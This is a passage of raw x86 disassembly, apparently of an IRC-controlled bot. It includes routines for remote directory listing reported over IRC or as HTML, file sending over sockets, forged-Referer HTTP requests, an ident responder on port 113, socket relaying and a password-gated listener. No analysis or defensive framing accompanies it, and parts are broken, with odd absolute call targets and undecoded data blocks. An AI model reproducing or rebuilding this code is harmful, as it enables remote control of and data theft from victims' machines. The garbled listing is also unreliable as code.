COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25D0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2770000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 276059Bh lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2760000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 2690000h nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2770000h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 27503B5h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 27108ABh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2750000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2780000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2710000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 2670822h nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 0ADE8h dd 8B0227FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0FB02E832h, 0EB900227h, 3F9E8EDh dd 50900228h, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2690088h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h call near ptr 2690000h nop jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 26908FFh push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 ; --------------------------------------------------------------------------- db 0E8h dd 22DF844h db 90h ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26F0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26F0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 26908FFh push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26F0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi call near ptr 26F0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2DF55BE8h dd 68579002h, 410CCBh, 37010FE8h, 0C0859002h, 0E8902975h dd 227FE43h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 